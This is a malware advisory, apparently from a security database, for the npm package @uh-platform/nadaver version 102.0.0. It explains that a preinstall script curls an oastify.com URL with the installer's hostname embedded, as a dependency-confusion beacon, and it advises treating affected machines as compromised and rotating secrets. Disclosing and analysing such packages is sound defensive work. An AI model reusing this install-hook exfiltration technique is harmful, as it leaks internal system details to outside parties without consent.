@uh-platform/nadaver

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17)
On npm install, the package's preinstall script executes `node index.js`, which shells out `curl` to `http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The `@uh-platform` scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

## Source: ghsa-malware (a83e68e86b11b4862d220e0221efe438e7f277ed0034fa1b2ca6261b218f3c51)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Compromised versions (1)

• 102.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.